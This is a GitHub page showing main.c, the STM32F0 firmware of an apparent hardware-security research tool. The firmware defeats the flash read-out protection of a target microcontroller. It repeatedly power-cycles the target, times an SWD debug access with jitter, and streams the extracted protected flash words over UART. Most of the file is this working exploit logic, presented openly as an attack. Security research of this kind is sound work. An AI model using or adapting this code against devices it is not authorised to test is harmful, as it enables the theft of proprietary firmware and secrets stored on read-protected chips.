-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathmain.c
224 lines (174 loc) · 4.85 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
/*
* Copyright (C) 2017 Obermaier Johannes
*
* This Source Code Form is subject to the terms of the MIT License.
* If a copy of the MIT License was not distributed with this file,
* you can obtain one at https://opensource.org/licenses/MIT
*/
#include <stdint.h>
#include <string.h>
#include "st/stm32f0xx.h"
#include "main.h"
#include "clk.h"
#include "swd.h"
#include "target.h"
#include "uart.h"
static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data );
static extractionStatistics_t extractionStatistics = {0u};
static uartControl_t uartControl = {0u};
/* Reads one 32-bit word from read-protection Flash memory.
Address must be 32-bit aligned */
static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data )
{
swdStatus_t dbgStatus = swdStatusNone;
/* Add some jitter on the moment of attack (may increase attack effectiveness) */
static uint16_t delayJitter = DELAY_JITTER_MS_MIN;
uint32_t extractedData = 0u;
uint32_t idCode = 0u;
/* Limit the maximum number of attempts PER WORD */
uint32_t numReadAttempts = 0u;
/* try up to MAX_READ_TRIES times until we have the data */
do
{
GPIO_LED_GREEN->ODR &= ~(0x01u << PIN_LED_GREEN);
targetSysOn();
waitms(5u);
dbgStatus = swdInit( &idCode );
if (likely(dbgStatus == swdStatusOk))
{
dbgStatus = swdEnableDebugIF();
}
if (likely(dbgStatus == swdStatusOk))
{
dbgStatus = swdSetAP32BitMode( NULL );
}
if (likely(dbgStatus == swdStatusOk))
{
dbgStatus = swdSelectAHBAP();
}
if (likely(dbgStatus == swdStatusOk))
{
targetSysUnReset();
waitms(delayJitter);
/* The magic happens here! */
dbgStatus = swdReadAHBAddr( (address & 0xFFFFFFFCu), &extractedData );
}
targetSysReset();
++(extractionStatistics.numAttempts);
/* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */
if (dbgStatus == swdStatusOk)
{
*data = extractedData;
++(extractionStatistics.numSuccess);
GPIO_LED_GREEN->ODR |= (0x01u << PIN_LED_GREEN);
}
else
{
++(extractionStatistics.numFailure);
++numReadAttempts;
delayJitter += DELAY_JITTER_MS_INCREMENT;
if (delayJitter >= DELAY_JITTER_MS_MAX)
{
delayJitter = DELAY_JITTER_MS_MIN;
}
}
targetSysOff();
waitms(1u);
}
while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS)));
return dbgStatus;
}
void printExtractionStatistics( void )
{
uartSendStr("Statistics: \r\n");
uartSendStr("Attempts: 0x");
uartSendWordHexBE(extractionStatistics.numAttempts);
uartSendStr("\r\n");
uartSendStr("Success: 0x");
uartSendWordHexBE(extractionStatistics.numSuccess);
uartSendStr("\r\n");
uartSendStr("Failure: 0x");
uartSendWordHexBE(extractionStatistics.numFailure);
uartSendStr("\r\n");
}
int main()
{
/* Enable all GPIO clocks */
RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOFEN;
targetSysCtrlInit();
swdCtrlInit();
uartInit();
clkEnablePLLInt();
clkEnableSystick();
/* Board LEDs */
GPIO_LED_BLUE->MODER |= (0x01u << (PIN_LED_BLUE << 1u));
GPIO_LED_GREEN->MODER |= (0x01u << (PIN_LED_GREEN << 1u));
GPIO_LED_BLUE->OSPEEDR |= (0x03 << (PIN_LED_BLUE << 1u));
GPIO_LED_GREEN->OSPEEDR |= (0x03u << (PIN_LED_GREEN << 1u));
GPIO_LED_BLUE->ODR |= (0x01u << PIN_LED_BLUE);
uartControl.transmitHex = 0u;
uartControl.transmitLittleEndian = 1u;
uartControl.readoutAddress = 0x00000000u;
uartControl.readoutLen = (64u * 1024u);
uartControl.active = 0u;
uint32_t readoutInd = 0u;
uint32_t flashData = 0xFFFFFFFFu;
uint32_t btnActive = 0u;
uint32_t once = 0u;
swdStatus_t status = swdStatusOk;
while (1u)
{
uartReceiveCommands( &uartControl );
/* Start as soon as the button B1 has been pushed */
if (GPIO_BUTTON->IDR & (0x01u << (PIN_BUTTON)))
{
btnActive = 1u;
}
if (uartControl.active || btnActive)
{
/* reset statistics on extraction start */
if (!once)
{
once = 1u;
extractionStatistics.numAttempts = 0u;
extractionStatistics.numSuccess = 0u;
extractionStatistics.numFailure = 0u;
}
status = extractFlashData((uartControl.readoutAddress + readoutInd), &flashData);
if (status == swdStatusOk)
{
if (!(uartControl.transmitHex))
{
uartSendWordBin( flashData, &uartControl );
}
else
{
uartSendWordHex( flashData, &uartControl );
uartSendStr(" ");
}
readoutInd += 4u;
}
else
{
if (uartControl.transmitHex)
{
uartSendStr("\r\n!ExtractionFailure");
uartSendWordHexBE( status );
}
}
if ((readoutInd >= uartControl.readoutLen) || (status != swdStatusOk))
{
btnActive = 0u;
uartControl.active = 0u;
readoutInd = 0u;
once = 0u;
/* Print EOF in HEX mode */
if (uartControl.transmitHex != 0u)
{
uartSendStr("\r\n");
}
}
}
}
return 0u;
}